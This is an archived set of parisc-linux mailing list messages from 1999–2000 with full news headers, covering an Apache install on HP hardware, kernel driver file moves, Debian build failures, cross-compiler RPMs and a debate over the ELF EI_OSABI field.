I have installed Apache + mod_ssl + mod_perl on HP A Class server.
I need help on to change the server looking fort bootpd server and put the 
IP address on the system. Also where can I find the ftp client for linux .

Regards
Kalas

At 04:59 PM 11/15/00 -0700, Paul Bame wrote:
>= I tried to build apache_1.3.12 on HP a class server. But I have error. I
>= have tried to check the site
>= ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
>= I could not find one. I found some apache-doc etc.
>
>We are still working on some kernel features which are required to
>support Apache (system 5 shared memory).
>
>         -P


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 13:24:31 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <200011212124.NAA20426@milano.cup.hp.com>
References: <20001121113432.B883@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619324 6881 80.91.229.3 (22 Nov 2014 01:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:04 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Tue Nov 21 14:23:24 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA07807
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 14:23:24 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 53D021E8
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 13:25:38 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA20426;
	Tue, 21 Nov 2000 13:24:33 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 11:34:32 PST."
             <20001121113432.B883@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8557

Matthew Wilcox wrote:
...
> Someone (probably me) sends him a patch.  He told me at the Toronto
> show that he was quite happy to apply anything that only touched those
> two directories. (oh, and drivers/gsc wouldn't be a problem either).
> Can I just check that no-one wants to rename drivers/gsc again?  :-)

Hi Mathew,
I don't and it's a good question.
I would like a few files moved:

arch/parisc/kernel/ccio-dma.c    -> drivers/gsc/ccio-dma.c
arch/parisc/kernel/ccio-rm-dma.c -> drivers/gsc/ccio-rm-dma.c

    ccio will *always* be associated with a GSC bus since that's
    the secondary bus. And ccio supports devices below dino.c which
    already lives in drivers/gsc.

arch/parisc/kernel/lba_pci.c     -> drivers/ropes/lba_pci.c
arch/parisc/kernel/sba_iommu.c   -> drivers/ropes/sba_iommu.c
arch/parisc/kernel/iosapic.c     -> drivers/ropes/iosapic.c

    lba/sba code is equivalent to dino/ccio code for another set
    of platforms. And long term, I'm certain iosapic.c does not
    belong under arch/parisc. I can do this move if there are no
    major objections.

Any reason why we couldn't do these moves *after* you submit a patch?


FWIW, here are issues I see with merging IA64 iosapic code with mine:
o iosapic "discovery" (I invented register_iosapic() interface for parisc)
o parisc PDC calls (initialization)
o interrupt policy decisions (eg EOI generation and picking a CPU)
o I don't have time to do it in the near future.

Folks working on IA64 stuff inside HP need to think about:
(a) if they want to do the merge any time soon
(b) which iosapic.c they want to start with
(c) where the final version should live

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fun build problems
Date: Tue, 21 Nov 2000 16:41:48 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <20001121164148.H912@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="PW0Eas8rCkcu1VkF"
X-Trace: ger.gmane.org 1416619325 6884 80.91.229.3 (22 Nov 2014 01:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:05 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: pjlahaie@produce.com  Tue Nov 21 14:38:26 2000
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA08133
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 14:38:24 -0700
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id eALLfml03034
	for parisc-linux@puffin.external.hp.com; Tue, 21 Nov 2000 16:41:48 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8558


--PW0Eas8rCkcu1VkF
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello everyone,

    Over the last couple of days, I've been trying to get the debian
boot-floppies building (I know some changes will be necessary) and as
it stands now, several packages are missing.  In the process of trying
to compile/install these packages, I've run into some difficulties.
Here are some of them:

apt   -- Package on pehc and .iso do not work.  Missing lots of helper apps.

Seeing as apt was broken, I decided to download the woody version of apt so
I can get a newer version and hopefully skip some steps in building the
above packages.  gcc 2.96 and apt-0.3.19 don't get along, so I tried picking
it up from cvs (supposed to have been fixed).  Follow the directions on
cvs.debian.org

$ cvs -d :pserver:anonymous@cvs.debian.org:/cvs/APT login
(Logging in to anonymous@cvs.debian.org)
CVS password:=20
cvs login: authorization failed: server cvs.debian.org rejected access

Anyone know if there are other instructions other than what cvs.debian.org
says?  If so, feel free to email me


rsync -- ldd crashes on dpkg-shlibdepends stage

Can I just manually put the required dependancies in?


autoconf -- installinfo spins

When installing the autoconf package (to compile dpkg) installinfo spins.
And after several minutes still doesn't return.  It's taking up 100% cpu
at the time.

If I abort this, autoconf seems to be installed but cannot generate the
dpkg configure properly, some macros are missing

AM_CONDITIONAL(HAVE_CPLUSPLUS, test "$CXX" !=3D "")

Is in the ./configure script.


info -- Reinstall spins

If I try to reinstall info, it spins on the uninstall.  100% cpu.


If anyone has any solutions for any of the above problems, I am all
ears (eyes?).

							- Paul

--PW0Eas8rCkcu1VkF
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6Guwc8ggPQthPCzcRAgkGAJ9TzClXOg009RWO/v09ONBNnxJcbgCfcWcX
gj26osR06BqyJ0O+/Q83csk=
=YHRW
-----END PGP SIGNATURE-----

--PW0Eas8rCkcu1VkF--


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Wed, 22 Nov 2000 09:50:05 +1100 (EST)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011220914180.16860-100000@front.linuxcare.com.au>
References: <200011210547.WAA18159@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619325 6886 80.91.229.3 (22 Nov 2014 01:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:05 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Nov 21 16:02:46 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA09457
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 16:02:46 -0700
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by palrel3.hp.com (Postfix) with ESMTP id 05CDE8F4
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 15:04:59 -0800 (PST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA18372;
	Wed, 22 Nov 2000 09:50:05 +1100
In-Reply-To: <200011210547.WAA18159@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8559

cc to binutils because John makes some salient points.

On Mon, 20 Nov 2000, John Marvin wrote:

> > Another glibc issue (which is why I'm sending this back to the list) is
> > that there has been quite some discussion on the binutils list over the
> > use of the EI_OSABI field.  The conclusion being that it isn't really
> > correct to use this field to discern the intendend execution platform.
> > It's purpose is really to tell ELF tools that a file contains fields and
> > values that need to be interpreted in a non-standard way.  Since both
> > elf32-hppa and elf64-hppa follow the standards, I'm inclined to think that
> > the gnu tools should set EI_OSABI to zero for both HPUX and Linux targets.
> 
> I don't read the binutils mailing list, so I checked the archive.  In my
> opinion I didn't see a discussion, I saw H.J.  Lu repeatedly asserting
> this "fact".  He may or may not be correct about original intention, but
> the implementation so far has been that EI_OSABI is used to tell what the
> target platform is.  That is what FreeBSD is doing, that is what HP-UX is
> doing, and that is what the IA-64 Unix System V Application Binary
> Interface specifies:
> 
>   http://developer.intel.com/design/IA-64/Downloads/24537002.pdf
> 
> Note that the second paragraph in section 1.1 of that specification
> includes the following:
> 
>     This document is the result of consensus among operating system
>     vendors intending to provide UNIX and UNIX workalike operating
>     systems on the IA-64 architecture. The vendors participating in
>     this effort include Intel, Sun Microsystems, SCO, IBM, SGI,
>     Cygnus Solutions, VA Linux Systems, HP, and Compaq.
> 
> So, If the specification is wrong according to H.J. Lu, why did both
> Cygnus and VA Linux Systems not object to this:
> 
>     Section 4.1.1.4 Operating System Identification
> 
>     The e_ident[EI_OSABI] value identifies the operating system and
>     ABI to which the object is targeted, as listed in Table 4-1.
> 
> Table 4-1 lists the various ELFOSABI_* fields, e.g. ELFOSABI_HPUX,
> ELFOSABI_NETBSD, ELFOSABI_LINUX, etc.
> 
> Note also, that the current mechanism for us to be able to differentiate
> elf executables in the Linux kernel is the machine dependent
> elf_check_arch() macro, whose only argument is a pointer to a
> elf32_hdr or elf64_hdr. I think it would be ugly to try to get the
> .note.ABI-tag section first for every exec of a new binary in order
> to determine what the target ABI is.
> 
> In my opinion, unless H.J. Lu can get the IA-64 ABI changed, it is too
> late to assert his view of what that field was supposed to be. Please
> leave the EI_OSABI field set to ELFOSABI_LINUX until a better consensus
> on this issue is reached.
> 
> John Marvin
> jsm@fc.hp.com

I'm happy enough to leave things as they are in puffin CVS, but these
changes haven't been merged back to sourceware yet, partly because I had
some doubts myself as to whether setting EI_OSABI was correct.  H.J. Lu
wasn't the only one arguing that EI_OSABI should be left at zero;  Ulrich
Drepper also was quite vehement against changing sourceware FreeBSD
binutils.

BTW, it's not too hard to check .note.ABI-tag.  The linker arranges for a
PT_NOTE program header entry to point to it, and the section itself is
virtually guaranteed to be read in with the header as it's placed right
after the header along with .interp.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: 21 Nov 2000 15:27:19 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <m3u290j488.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0011220914180.16860-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619325 6887 80.91.229.3 (22 Nov 2014 01:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:05 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com, binutils@sourceware.cygnus.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: drepper@redhat.com  Tue Nov 21 16:25:24 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA09801
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 16:25:23 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA07083;
	Tue, 21 Nov 2000 15:27:16 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 38AC030BB; Tue, 21 Nov 2000 15:27:19 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alan Modra's message of "Wed, 22 Nov 2000 09:50:05 +1100 (EST)"
Original-Lines: 14
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8560

Alan Modra <alan@linuxcare.com.au> writes:

> Ulrich Drepper also was quite vehement against changing sourceware
> FreeBSD binutils.

I've never said anything about any *BSD, why should I?  The *BSD
people wanted to change the Linux binutils.

Anyway, the ABI value is zero unless you implement ELF extensions.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Wed, 22 Nov 2000 11:13:29 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011221042300.16860-100000@front.linuxcare.com.au>
References: <m3u290j488.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619326 6895 80.91.229.3 (22 Nov 2014 01:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:06 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com, binutils@sourceware.cygnus.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: alan@linuxcare.com.au  Tue Nov 21 17:26:26 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA10633
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 17:26:26 -0700
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by atlrel2.hp.com (Postfix) with ESMTP id D49B2C41
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 19:28:32 -0500 (EST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA20785;
	Wed, 22 Nov 2000 11:13:29 +1100
In-Reply-To: <m3u290j488.fsf@otr.mynet.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8561

On 21 Nov 2000, Ulrich Drepper wrote:

> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > Ulrich Drepper also was quite vehement against changing sourceware
> > FreeBSD binutils.
> 
> I've never said anything about any *BSD, why should I?  The *BSD
> people wanted to change the Linux binutils.

Sorry, I stated that badly.

> Anyway, the ABI value is zero unless you implement ELF extensions.

Exactly what is an "ELF extension"?  Anything outside gABI or
"gABI + psABI"?  Handly the latter, as it seems to me that a processor
specific ABI can specify extensions.  There's also the awkward possibility
that a psABI may specify an extension that is later incorporated into a
new revision of the gABI (eg. hpux and DT_INIT_ARRAY)  Does that mean that
if a new revision of the gABI completely incorporates all previous
extensions, that EI_OSABI should become zero?

Yes, I'm arguing that "No ELF extensions => EI_OSABI == 0" is not
necessarily true, but I'm _not_ arguing that changing x86 Linux binutils
is wise.  Historical usage is important.  If we were to change x86 Linux
binutils to set EI_OSABI, then that can only be after a considerable
period of time to allow code such as glibc to accept a new branding.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New crosscompiler RPM set.
Date: Fri, 30 Apr 1999 18:28:54 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990430181811.10592J-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619326 6896 80.91.229.3 (22 Nov 2014 01:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Apr 30 16:29:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA16123
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 16:29:01 -0600
Original-Received: (qmail 1618 invoked by uid 15267); 30 Apr 1999 22:27:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1608 invoked from network); 30 Apr 1999 22:27:04 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 30 Apr 1999 22:27:04 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id SAA20591
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Apr 1999 18:28:54 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8562


I've uploaded a cross compiling binutils and egcs that now specifies our
target properly as parisc-linux.  They're built on a redhat 5.2 system.
You can upgrade or install them with:

rpm -Uvh \
ftp://puffin.external.hp.com/pub/parisc/binaries/RPMS/binutils-x-parisc-linux-2.9.1-10.i386.rpm
rpm -Uvh \
ftp://puffin.external.hp.com/pub/parisc/binaries/RPMS/egcs-x-parisc-linux-1.1.1-9.i386.rpm

I've also uploaded .tar.gz for those who'd prefer it.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: 21 Nov 2000 16:31:39 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <m3ofz8j190.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0011221042300.16860-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619326 6901 80.91.229.3 (22 Nov 2014 01:22:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:06 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com, binutils@sourceware.cygnus.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: drepper@redhat.com  Tue Nov 21 17:32:43 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA10937
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 17:32:42 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA13917;
	Tue, 21 Nov 2000 16:31:37 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id DFB3B30BB; Tue, 21 Nov 2000 16:31:39 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alan Modra's message of "Wed, 22 Nov 2000 11:13:29 +1100 (EST)"
Original-Lines: 12
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8563

Alan Modra <alan@linuxcare.com.au> writes:

> Exactly what is an "ELF extension"?  Anything outside gABI or
> "gABI + psABI"?

Anything beyond the psABI that cannot be handled by the rules in the
gABI.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H . J . Lu" <hjl@valinux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Tue, 21 Nov 2000 16:53:27 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20001121165327.A12804@valinux.com>
References: <m3u290j488.fsf@otr.mynet.cygnus.com> <Pine.LNX.4.21.0011221042300.16860-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619327 6905 80.91.229.3 (22 Nov 2014 01:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:07 +0000 (UTC)
Cc: Ulrich Drepper <drepper@cygnus.com>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: hjl@valinux.com  Tue Nov 21 17:51:38 2000
Original-Received: from mail.valinux.com (smtp-fwd.valinux.com [198.186.202.196])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA11446
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 17:51:37 -0700
Original-Received: from osmium.hdqt.valinux.com
	([10.3.1.14] helo=valinux.com ident=mail)
	by mail.valinux.com with esmtp (Exim 3.16 #1 (Debian))
	id 13yOAG-0005O0-00; Tue, 21 Nov 2000 16:53:32 -0800
Original-Received: by valinux.com (Postfix, from userid 561)
	id 5B260AD0E; Tue, 21 Nov 2000 16:53:27 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0011221042300.16860-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Nov 22, 2000 at 11:13:29AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8564

On Wed, Nov 22, 2000 at 11:13:29AM +1100, Alan Modra wrote:
> 
> > Anyway, the ABI value is zero unless you implement ELF extensions.
> 
> Exactly what is an "ELF extension"?  Anything outside gABI or

ELF extension is something whose interpretation is not documented in
neither gABI nor psABI. HP's old ELF is a good example since it didn't
implement DT_INIT/DT_FINI, but added DT_INIT_ARRARY/DT_FINI_ARRAY. A
normal ELF tool will have a hard time to interpret those fields and
their values.


H.J.


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 00:53:09 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001122005309.A27306@parcelfarce.linux.theplanet.co.uk>
References: <20001121113432.B883@parcelfarce.linux.theplanet.co.uk> <200011212124.NAA20426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619327 6910 80.91.229.3 (22 Nov 2014 01:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:07 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Nov 21 17:52:53 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA11694
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 17:52:52 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13yO9t-0007M4-00; Wed, 22 Nov 2000 00:53:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011212124.NAA20426@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Nov 21, 2000 at 01:24:31PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8565

On Tue, Nov 21, 2000 at 01:24:31PM -0800, Grant Grundler wrote:
> I would like a few files moved:
> 
> arch/parisc/kernel/ccio-dma.c    -> drivers/gsc/ccio-dma.c
> arch/parisc/kernel/ccio-rm-dma.c -> drivers/gsc/ccio-rm-dma.c
> arch/parisc/kernel/lba_pci.c     -> drivers/ropes/lba_pci.c
> arch/parisc/kernel/sba_iommu.c   -> drivers/ropes/sba_iommu.c
> arch/parisc/kernel/iosapic.c     -> drivers/ropes/iosapic.c

> Any reason why we couldn't do these moves *after* you submit a patch?

Better to get our house in order before we patchbomb Linus, I think.
Renames are hard enough in CVS; renames in diff -u format are a real
stinker :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] case LEDs
Date: Tue, 21 Nov 2000 21:27:51 -0500
Organization: The Puffins at Linuxcare
Lines: 16
Approved: news@gmane.org
Message-ID: <3A1B2F27.D08EC2AF@linuxcare.com>
References: <200011211855.KAA20167@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619327 6913 80.91.229.3 (22 Nov 2014 01:22:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:07 +0000 (UTC)
Cc: Alexandru Pirvulescu <Pirvulescu_Alexandru@telemobil.ro>,
        parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@linuxcare.com  Tue Nov 21 18:16:45 2000
Original-Received: from smtp.linuxcare.com ([216.88.157.131])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12150
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 18:16:45 -0700
Original-Received: (qmail 8668 invoked from network); 22 Nov 2000 01:18:56 -0000
Original-Received: from unknown (HELO linuxcare.com) (167.216.157.206)
  by smtp.linuxcare.com with SMTP; 22 Nov 2000 01:18:56 -0000
Original-Sender: adevries@puffin.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8566

Grant Grundler wrote:
> Yes.
> I was already asked this weekend to dig up technical info on LED
